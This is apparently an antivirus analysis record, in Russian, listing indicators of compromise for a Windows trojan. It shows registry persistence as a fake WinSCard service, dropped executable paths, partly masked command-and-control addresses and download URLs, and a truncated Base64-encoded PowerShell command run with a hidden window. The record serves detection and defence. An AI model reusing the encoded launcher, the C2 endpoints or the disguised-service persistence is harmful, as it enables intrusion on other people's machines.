Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\WinSCard] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\WinSCard] 'ImagePath' = '"%WINDIR%\SysWOW64\C_ISCII\WinSCard.exe"'
- 'WinSCard' "%WINDIR%\SysWOW64\C_ISCII\WinSCard.exe"
- 'WinSCard' %WINDIR%\SysWOW64\C_ISCII\WinSCard.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaADEAaQBjAGMANQBwAD0AKAAoACcATQBjAF8AJwArACcANQBrACcAKQArACcAegAnACsAJwBlACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAHIATw...
- %HOMEPATH%\ced353c\vpveilw\p1mvj5z.exe
- %WINDIR%\syswow64\c_iscii\winscard.exe
- %HOMEPATH%\ced353c\vpveilw\p1mvj5z.exe в %WINDIR%\syswow64\c_iscii\winscard.exe
- '76.##8.54.203':80
- '51.##.124.206':80
- '38.##.126.202':8080
- '54.#7.42.48':8080
- http://pr#####ollection.com/cab/f/
- http://76.##8.54.203/72ItKz97MNv/tfUY48ejlS/Rl9qBCRt9Xg/3Y3PPWB/
- http://54.##.42.48:8080/XkW4mSvu3q/qCiXHdvtsh2w8B6Xp/F54oFB2gQ/ via 54.#7.42.48
- DNS ASK pr#####ollection.com
- '%HOMEPATH%\ced353c\vpveilw\p1mvj5z.exe'
- '%WINDIR%\syswow64\c_iscii\winscard.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaADEAaQBjAGMANQBwAD0AKAAoACcATQBjAF8AJwArACcANQBrACcAKQArACcAegAnACsAJwBlACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAHIATw...' (со скрытым окном)